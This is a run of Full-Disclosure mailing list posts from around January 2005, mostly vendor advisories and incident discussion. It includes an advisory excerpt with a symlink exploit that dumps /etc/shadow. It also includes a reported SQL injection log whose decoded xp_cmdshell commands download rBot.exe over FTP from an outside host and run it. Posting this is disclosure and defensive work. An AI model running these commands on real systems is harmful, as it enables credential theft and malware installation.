-rw-r--r-- 1 root 100 21671 Dec 11 12:40 rfdslabs

$ rm -f rfdslabs
$ ln -s /etc/shadow rfdslabs
$ crttrap -c tmp/rfdslabs dump
root:21QjUKxP9gEJK:0:0:0
sandimas:91UzHxvt3x1n2:0:0:0

We are also able to overwrite any file with 'trap' switch. As an example, an
attacker can corrupt '/etc/passwd' and make login attempts fail
everytime.
See www.rfdslabs.com.br for another file deletion vulnerability in crttrap.

PS: In 31 May 2002, Simon Oullette had found a bug in crttrap '-c' flag in
QNX 4.25. But his exploitation technique won't work with newest versions
because crttrap opens "/etc/system/config" and its sub directories.

3. Solution

No official solution yet. We suggest remove crttrap suid bit until QNX don't
release a patch.

4. Timeline

10 Dec 2004: Vulnerability detected;
11 Dec 2004: Advisory written; rfdslabs contacts QNX;
20 Dec 2004: QNX replies back rfdslabs;
28 Dec 2004: Advisory released to public.

Thanks to Lucien Rocha, Carlos Barros (barrossecurity.com), George Fleury,
Rodrigo Costa (NERV).

www.rfdslabs.com.br - computers, sex, human mind, music and more
Recife, PE, Brazil

--
Julio Cesar Fort (julio at rfdslabs com br)
Recife, PE, Brasil

www.rfdslabs.com.br - computers, sex, human mind, music and
more.

________________________________________________
Message sent using
UebiMiau 2.7.2

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Tiger Teams

rienzinimrod.com.mx
Date: Tue Jan 04 2005 - 23:56:59 CST


Hi
I´m looking for tiger teams around that works with enterprises dedicated
to TI research , i´m lookin some way to contact them maybe a
web page, email or something like that.

Thank's

Darkslaker

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [ GLSA 200501-03 ] Mozilla, Firefox, Thunderbird: Various vulnerabilities

From: Thierry Carrez (koongentoo.org)
Date: Wed Jan 05 2005 - 03:09:24 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Mozilla, Firefox, Thunderbird: Various vulnerabilities
      Date: January 05, 2005
      Bugs: #76112, #68976, #70749
        ID: 200501-03

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Various vulnerabilities were found and fixed in Mozilla-based products,
ranging from a potential buffer overflow and temporary files disclosure
to anti-spoofing issues.

Background
==========

Mozilla is a popular web browser that includes a mail and newsreader.
Mozilla Firefox and Mozilla Thunderbird are respectively the
next-generation browser and mail client from the Mozilla project.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 mozilla < 1.7.5 >= 1.7.5
  2 mozilla-bin < 1.7.5 >= 1.7.5
  3 mozilla-firefox < 1.0 >= 1.0
  4 mozilla-firefox-bin < 1.0 >= 1.0
  5 mozilla-thunderbird < 0.9 >= 0.9
  6 mozilla-thunderbird-bin < 0.9 >= 0.9
    -------------------------------------------------------------------
     6 affected packages on all of their supported architectures.
    -------------------------------------------------------------------

Description
===========

Maurycy Prodeus from isec.pl found a potentially exploitable buffer
overflow in the handling of NNTP URLs. Furthermore, Martin (from
ptraced.net) discovered that temporary files in recent versions of
Mozilla-based products were sometimes stored world-readable with
predictable names. The Mozilla Team also fixed a way of spoofing
filenames in Firefox's "What should Firefox do with this file" dialog
boxes and a potential information leak about the existence of local
filenames.

Impact
======

A remote attacker could craft a malicious NNTP link and entice a user
to click it, potentially resulting in the execution of arbitrary code
with the rights of the user running the browser. A local attacker could
leverage the temporary file vulnerability to read the contents of
another user's attachments or downloads. A remote attacker could also
design a malicious web page that would allow to spoof filenames if the
user uses the "Open with..." function in Firefox, or retrieve
information on the presence of specific files in the local filesystem.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Mozilla users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-www/mozilla-1.7.5"

All Mozilla binary users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-www/mozilla-bin-1.7.5"

All Firefox users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-www/mozilla-firefox-1.0"

All Firefox binary users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-www/mozilla-firefox-bin-1.0"

All Thunderbird users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose
">=mail-client/mozilla-thunderbird-0.9"

All Thunderbird binary users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose
">=mail-client/mozilla-thunderbird-bin-0.9"

References
==========

  [ 1 ] isec.pl Advisory
        http://isec.pl/vulnerabilities/isec-0020-mozilla.txt
  [ 2 ] Martin (from ptraced.net) Advisory
        http://broadcast.ptraced.net/advisories/008-firefox.thunderbird.txt
  [ 3 ] Secunia Advisory SA13144
        http://secunia.com/advisories/13144/

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-03.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
[Full-Disclosure] [ GLSA 200412-26 ] ViewCVS: Information leak and XSS vulnerabilities

From: Thierry Carrez (koongentoo.org)
Date: Tue Dec 28 2004 - 08:25:29 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200412-26
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Low
     Title: ViewCVS: Information leak and XSS vulnerabilities
      Date: December 28, 2004
      Bugs: #72461, #73772
        ID: 200412-26

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

ViewCVS is vulnerable to an information leak and to cross-site
scripting (XSS) issues.

Background
==========

ViewCVS is a browser interface for viewing CVS and Subversion version
control repositories through a web browser.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 www-apps/viewcvs <= 0.9.2_p20041207 >= 0.9.2_p20041207-r1

Description
===========

The tar export functions in ViewCVS bypass the 'hide_cvsroot' and
'forbidden' settings and therefore expose information that should be
kept secret (CAN-2004-0915). Furthermore, some error messages in
ViewCVS do not filter user-provided information, making it vulnerable
to a cross-site scripting attack (CAN-2004-1062).

Impact
======

By using the tar export functions, a remote attacker could access
information that is configured as restricted. Through the use of a
malicious request, an attacker could also inject and execute malicious
script code, potentially compromising another user's browser.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All ViewCVS users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose
">=www-apps/viewcvs-0.9.2_p20041207-r1"

References
==========

  [ 1 ] CAN-2004-0915
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0915
  [ 2 ] CAN-2004-1062
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1062

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200412-26.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
RE: [Full-Disclosure] Example of Legal Ruling involving Internet Issues: >> Re: Yahoo and inheiriting someone's email

From: Myers, Marvin (MRMyersanteon.com)
Date: Wed Jan 05 2005 - 05:27:24 CST


One of the core issues here is or should be whether or not the defendant
specifically targeted the residents of the state where the plaintiff is
trying to claim jurisdiction. There are many websites out there that may
be advertising products and or services that may be illegal for sale or
use in my state, but unless they are specifically targeting residents of
my state or forcing their websites upon the people of my state, then it
should be the jurisdiction of the state where the entity claims
residence that has ultimate jurisdiction.

In the case of the Yahoo E-mail issue, I believe that the e-mails should
belong to the estate of the dead soldier, just as any other article that
was originally intentioned to belong to him now belongs to his estate
after his death. It would be a sad situation where all of a person's
belongings were deemed to belong to the person who had possession of the
goods at the time of death of an individual. Yahoo should turn the
e-mails over to the soldier's e-state and allow the executor of the
e-state to determine the ownership of the e-mails during the course of
probate.

Just my opinion, to which I am entitled.
Marvin R. Myers CISSP

-----Original Message-----
From: full-disclosure-bounceslists.netsys.com
[mailto:full-disclosure-bounceslists.netsys.com] On Behalf Of Steve
Kudlak
Sent: Tuesday, January 04, 2005 6:24 PM
To: fulldis
Subject: [Full-Disclosure] Example of Legal Ruling involving Internet
Issues: >> Re: Yahoo and inheiriting someone's email

Here is an example of a court ruling that involves legal issues and the
Internet, where there was a "real world" way thing have been done with
real world things and a representation that since the Internet was
global it meant that one was "targeting people in Maryland" . It also
relates to the convoluted depths some legal things can become. It is
long but it gets some idea of how courts work in matters like these. It
likes at:

http://www.mdd.uscourts.gov/Opinions152/Opinions/shamsuddin11302004.pdf

Have Fun,
Sends Steve

.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] And you're proud of this Mike Evanchick?

From: Michael Reilly (michaelrcisco.com)
Date: Wed Dec 29 2004 - 14:50:57 CST


Couldn't help seconding this. I do not understand the purpose of he
original message. I think Norton/Symantec did a good job.

michael
Todd Towles wrote:
> Sounds like you need AV and a bit of network security. If you are scared
> of IRC trojans and detectable viruses..then your time would be better
> spent putting those systems into place. Don't you think?
>
>
> ________________________________
>
> From: full-disclosure-bounceslists.netsys.com
> [mailto:full-disclosure-bounceslists.netsys.com] On Behalf Of Elle
> Chicka
> Sent: Monday, December 27, 2004 11:16 PM
> To: full-disclosurelists.netsys.com
> Subject: [Full-Disclosure] And you're proud of this Mike
> Evanchick?
>
>
> You so proudly posted this:
> ------------------------
>
> http://securityresponse.symantec.com/avcenter/venc/data/trojan.phel.a.ht
> ml
> <https://mail.microsoft.com/exchweb/bin/redir.asp?URL=http://securityres
> ponse.symantec.com/avcenter/venc/data/trojan.phel.a.html>
>
> mike
>
> www.michaelevanchik.com
>
> ------------------------
> Obviously you are just tickled to see that the kiddies were able
> to so quickly turn your point/click sploit code into a virus to wreak
> havoc on my network.
>
> Thanks a lot for helping to make all of us a little less secure
> over the holiday's.
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam? Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
>
>
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

--
---- ---- ----
Michael Reilly michaelrcisco.com
     Cisco Systems, California
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] DMA[2005-0103a] - 'William LeFebvre "top" format string vulnerability'

From: White Self-Existing World-Bridger (kin186hackermail.com)
Date: Wed Jan 05 2005 - 07:42:24 CST


> Kevin Finisterre On Wed, 2004-11-24 at 04:38 notifies the vendor! 4 years
> later! This bug was found alive and kicking in the Solaris 10 Sun freeware
> package.

LOL! Yeah it seems a lot of interesting bugs slip through the cracks. I wonder
what other tasty morsels are lurking out there. Thanks for the PoC.

--
  kin 186: White Self-Existing World-Bridger
  ------------------------------------------
  I Define in order to Equalize
  Measuring Opportunity
  I seal the Store of Death
  With the Self-Existing tone of Form
  I am guided by the power of Spirit
--
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] MediaSentry false positives?

From: Florian Weimer (fwdeneb.enyo.de)
Date: Wed Jan 05 2005 - 09:03:27 CST


* Valdis Kletnieks:

> On Wed, 05 Jan 2005 13:00:41 +0100, Florian Weimer said:
>
>> RIPE doesn't have an announcement of the prefix, so I think
>> MediaSentry was in error.
>
> Did you just check the RADB, or did you actually poke a looking glass to
> see what's actually being announced?

I searched the RIS database (and hoped that it's reasonably accurate).
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] MediaSentry false positives?

Valdis.Kletnieksvt.edu
Date: Wed Jan 05 2005 - 08:53:55 CST


On Tue, 04 Jan 2005 23:22:27 CST, Kevin said:

> the complaint, or somebody on the Internet is spoofing BGP route
> announcements for unused address space out of larger allocations.

This is actually quite likely a possibility. There are enough tier-1's who do
a piss-poor job of filtering their BGP feeds that if you can inject an
announcement you can hijack the address block. This is being actively abused by
several different groups of spammers. You might want to wander over to the
NANOG list archives and search for 'BGP hijack' and/or poke one/several of the
BGP looking glasses out there to see if there's an announcement for your space.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFB2/+DcC3lWbTT17ARAkKeAKCfh/E1397UjSS0lF1TDvSCjv+AgACeLd5y
HUxdbYd6FuBCeUq2mV3boX0=
=j7XR
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Re: YET AGAIN Automatic remote compromise of InternetExplorer Service Pack 2 XP SP2

From: Duane Toler (delistwaveresearchlabs.com)
Date: Wed Jan 05 2005 - 10:38:19 CST


>> They totally forgot HTA files and HTM help files. Who knows what >>else.
>I do ;)

>About switching to FireFox: if you drive a car you might end up in a
>car-crash, changing cars doesn't prevent that. If 90% of people would >be
>driving the exact same car, it's obvious most car-crashes will involve
>that car.
>
>Cheers,
>
>SkyLined

This is a false analogy. Perhaps you mean to rephrase such as:

"If you drive a car *with a malfunction*, you might end up in a car
crash *caused by that malfunction*."

Any car carries the possibility of being in a car crash. The elements
beyond your control are what increase or decrease the probability of
your car crash.

Such as:

"By switching to another car, without the same, or with a lesser,
malfunction, you reduce the chances of having a car crashed by that
malfunction"

(cat - | sed 's/car/browser/g')
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Possible DNS compromise/poisoning?

nicholasnamhush.com
Date: Wed Jan 05 2005 - 08:45:08 CST


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Is anyone else seeing this:

- --SNIP--
;; QUESTION SECTION:
;www.microsoft.com. IN A

;; ANSWER SECTION:
www.microsoft.com. 2415 IN CNAME
www.microsoft.com.nsatc.net.
- --SNIP--

Notice that www.microsoft.com is a cname for
www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com
and to the best of my knowledge the correct web content is
displayed.
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkHb/bwACgkQQOst28rex96r7wCgsFrpGByDC4YOskegpoIOetZsfMQA
oIqgBD6fqzV1t57I/Yh+ayae4Z/Z
=xvDv
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] MediaSentry false positives?

Valdis.Kletnieksvt.edu
Date: Wed Jan 05 2005 - 08:55:30 CST


On Wed, 05 Jan 2005 13:00:41 +0100, Florian Weimer said:

> RIPE doesn't have an announcement of the prefix, so I think
> MediaSentry was in error.

Did you just check the RADB, or did you actually poke a looking glass to
see what's actually being announced?

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFB2//icC3lWbTT17ARAvlTAKCN10jVKAqnrtGNpG2cu9eghnwGWwCg4HKk
Lz3b4mZaIOvqw0BjFoqiw/8=
=Punk
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Possible DNS compromise/poisoning?

From: Florian Weimer (fwdeneb.enyo.de)
Date: Wed Jan 05 2005 - 12:12:43 CST


> Is anyone else seeing this:
>
> --SNIP--
> ;; QUESTION SECTION:
> ;www.microsoft.com. IN A
>
> ;; ANSWER SECTION:
> www.microsoft.com. 2415 IN CNAME
> www.microsoft.com.nsatc.net.
> --SNIP--
>
> Notice that www.microsoft.com is a cname for
> www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com
> and to the best of my knowledge the correct web content is
> displayed.

AFAIK, this is a side effect because Microsoft uses Savvis' content
distribution network.

This is by no means a recent change. It's been this way since last
June, probably much longer (I haven't got older data).
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] SQL injection worm ?

From: Maxime Ducharme (mducharmecybergeneration.com)
Date: Wed Jan 05 2005 - 11:22:54 CST


Hi list,
    we receveid a particular SQL injection attack
on one of our site.

Attack looks like :
2005-01-05 14:39:20 24.164.202.24 - W3SVCX SRVNAME x.x.x.x 80 GET
/Nouvelles.asp
id_nouvelle=377';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68
%65%6C%6C%20'mkdir%20%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5C';%65%7
8%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20op
en%20217.199.183.122%2021%20%3E%3E%20%25systemroot%25%5Csystem32%5CMacromed%
5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%
68%65%6C%6C%20'echo%20USER%20hahajk%20hahaowned%20%3E%3E%20%25systemroot%25%
5Csystem32%5Cmacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..
%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20get%20rBot.exe%20%25systemroot%2
5%5Csystem32%5CMacromed%5Clolx%5Carcdlrde.exe%20%3E%3E%20%25systemroot%25%5C
system32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%7
8%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20quit%20%3E%3E%20%25systemroot%25%5
Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%
78%70%5F%63%6D%64%73%68%65%6C%6C%20'ftp.exe%20-i%20-n%20-v%20-s:%25systemroo
t%25%5Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45
%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'del%20%25systemroot%25%5Csystem32%
5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%6
3%6D%64%73%68%65%6C%6C%20'%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5Car
cdlrde.exe'--|17|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Lin
e_1:_Incorrect_syntax_near_''. 500 0 0 1395 570 HTTP/1.1
attacked.web.site.com - - -

HTTP request contains only 2 fields (beside HTTP method) :
Connection: Keep-Alive
Host: attacked.web.site.com

(I obviously replaced the name of the site).

Decoded SQL injection looks like :
exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\';
exec MASTER..xp_cmdshell 'echo open y.y.y.y 21 >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo USER hahajk hahaowned >>
%systemroot%\system32\macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo get rBot.exe
%systemroot%\system32\Macromed\lolx\arcdlrde.exe >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo quit >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell
'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell '%systemroot%\system32\Macromed\lolx\arcdlrde.exe

y.y.y.y is a foreign IP in Europe which host FTP an WWW server.
I sent a notice this this site sysadmin about the situation.

I have been able to connect to this FTP with the account hahajk/hahaowned
(which do not seem legit to me ...) and download suspicious files.
I mirrored them here :
http://www.cybergeneration.com/security/2005.01.05/rbot.exe_ftp.zip
zip pass is 968goyw439807r3qw

24.164.202.24 is on rr.com networks, they have also been advised.

I know rbot.exe is known to be Randex worm, but i'd like that have
some other results / analysis.

I also found a "test.asp" file which contains the Spybot worm.

Weird thing is, I searched for this hosts's activity on every server
and every firewall we run, and I only see 1 TCP connection which
is the prepared SQL injections attack, nothing else.

Anybody see similar activity ?

I'm asking since I want to know if we are targeted by someone of
by a worm like Santy of use search engines to find vulnerable
ASP scripts.

Thanks in advance

Happy new year to everyone !

Maxime Ducharme
Programmeur / Spécialiste en sécurité réseau

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Possible DNS compromise/poisoning?

From: DanBUK (danbukgmail.com)
Date: Wed Jan 05 2005 - 12:29:10 CST


I see the same, but I don't think there is an issue.

C:\WINDOWS>nslookup
Default Server: pmsidc03.pmsi.local
Address: 192.168.42.13

> set type=cname
> www.microsoft.com
Server: pmsidc03.pmsi.local
Address: 192.168.42.13

Non-authoritative answer:
www.microsoft.com canonical name = www.microsoft.com.nsatc.net
> set type=a
> www.microsoft.com
Server: pmsidc03.pmsi.local
Address: 192.168.42.13

Non-authoritative answer:
Name: www.microsoft.com.nsatc.net
Addresses: 207.46.156.252, 207.46.244.188, 207.46.245.156, 207.46.249.252
          207.46.250.252, 207.46.144.222, 207.46.156.156, 207.46.156.220
Aliases: www.microsoft.com

Cheers,
DanBUK.

DanB UK
London, UK.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Possible DNS compromise/poisoning?

From: KF (lists) (kf_listsdigitalmunition.com)
Date: Wed Jan 05 2005 - 12:19:26 CST


http://www.talkaboutsoftware.com/group/microsoft.public.windowsme.general/messages/241011.html

-KF

nicholasnamhush.com wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Is anyone else seeing this:
>
>- --SNIP--
>;; QUESTION SECTION:
>;www.microsoft.com. IN A
>
>;; ANSWER SECTION:
>www.microsoft.com. 2415 IN CNAME
>www.microsoft.com.nsatc.net.
>- --SNIP--
>
>Notice that www.microsoft.com is a cname for
>www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com
>and to the best of my knowledge the correct web content is
>displayed.
>-----BEGIN PGP SIGNATURE-----
>Note: This signature can be verified at https://www.hushtools.com/verify
>Version: Hush 2.4
>
>wkYEARECAAYFAkHb/bwACgkQQOst28rex96r7wCgsFrpGByDC4YOskegpoIOetZsfMQA
>oIqgBD6fqzV1t57I/Yh+ayae4Z/Z
>=xvDv
>-----END PGP SIGNATURE-----
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
RE: [Full-Disclosure] Possible DNS compromise/poisoning?

From: Madison, Marc (mmadisonfnni.com)
Date: Wed Jan 05 2005 - 14:12:35 CST


This is the correct information for MS. Perform a search on the address
obtained in your dns query to confirm.

-----Original Message-----
From: full-disclosure-bounceslists.netsys.com
[mailto:full-disclosure-bounceslists.netsys.com] On Behalf Of
nicholasnamhush.com
Sent: Wednesday, January 05, 2005 8:45 AM
To: full-disclosurelists.netsys.com
Subject: [Full-Disclosure] Possible DNS compromise/poisoning?

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Is anyone else seeing this:

- --SNIP--
;; QUESTION SECTION:
;www.microsoft.com. IN A

;; ANSWER SECTION:
www.microsoft.com. 2415 IN CNAME
www.microsoft.com.nsatc.net.
- --SNIP--

Notice that www.microsoft.com is a cname for
www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com and
to the best of my knowledge the correct web content is displayed.
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkHb/bwACgkQQOst28rex96r7wCgsFrpGByDC4YOskegpoIOetZsfMQA
oIqgBD6fqzV1t57I/Yh+ayae4Z/Z
=xvDv
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Full-Disclosure] SQL injection worm ?

From: Willem Koenings (infsecgmail.com)
Date: Wed Jan 05 2005 - 13:57:56 CST


Maxime Ducharme mducharme at cybergeneration.com wrote:

> 24.164.202.24 is on rr.com networks, they have also been advised.
>
> I know rbot.exe is known to be Randex worm, but i'd like that have
> some other results / analysis.

What i see is that this rBot.exe acts like regular rbot/sdbot

all the best,

W.

ps. kaspersky also agrees with me : Backdoor.Win32.Rbot.gen
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Possible DNS compromise/poisoning?

From: J.A. Terranson (measlmfn.org)
Date: Wed Jan 05 2005 - 14:49:49 CST


On Wed, 5 Jan 2005 nicholasnamhush.com wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Is anyone else seeing this:
>
> - --SNIP--
> ;; QUESTION SECTION:
> ;www.microsoft.com. IN A
>
> ;; ANSWER SECTION:
> www.microsoft.com. 2415 IN CNAME
> www.microsoft.com.nsatc.net.

Oh yeah. Now, for the real fun:

$ whois nsatc.net
   Organization:
      SAVVIS Communications
      nsatc host
      225 W Hillcrest Dr, Ste 250
      Thousand Oaks, CA 91360
      US
      Phone: (805) 370 2100
      Fax..: (805) 370 2101
      Email: nsatc-hostsavvis.net

   Registrar Name....: Register.com
   Registrar Whois...: whois.register.com
   Registrar Homepage: http://www.register.com

   Domain Name: NSATC.NET

      Created on..............: Wed, Sep 26, 2001
      Expires on..............: Wed, Sep 26, 2007
      Record last updated on..: Thu, Dec 09, 2004

Looks like they're, um, having hosting issues :-)

--
Yours,

J.A. Terranson
sysadminmfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Pattern matching search tool

From: Paul Schmehl (paulsutdallas.edu)
Date: Wed Jan 05 2005 - 15:28:24 CST


Is anyone aware of a search tool (not Google or search engine aggregation
software) that could be used to search our network for "interesting stuff"?
It needs to be capable of doing pattern matching similar to perl's regular
expression stuff.

I'm looking for something that, for example, could tell me all the machines
on our network that are running copies of phpBB (obvious reasons) so that
we could quickly identify potential problem areas.

Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [ GLSA 200501-06 ] tiff: New overflows in image decoding

From: Thierry Carrez (koongentoo.org)
Date: Wed Jan 05 2005 - 16:05:43 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-06
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: tiff: New overflows in image decoding
      Date: January 05, 2005
      Bugs: #75213
        ID: 200501-06

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

An integer overflow has been found in the TIFF library image decoding
routines and the tiffdump utility, potentially allowing arbitrary code
execution.

Background
==========

The TIFF library contains encoding and decoding routines for the Tag
Image File Format. It is called by numerous programs, including GNOME
and KDE applications, to interpret TIFF images.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 media-libs/tiff < 3.7.1-r1 >= 3.7.1-r1

Description
===========

infamous41md found a potential integer overflow in the directory entry
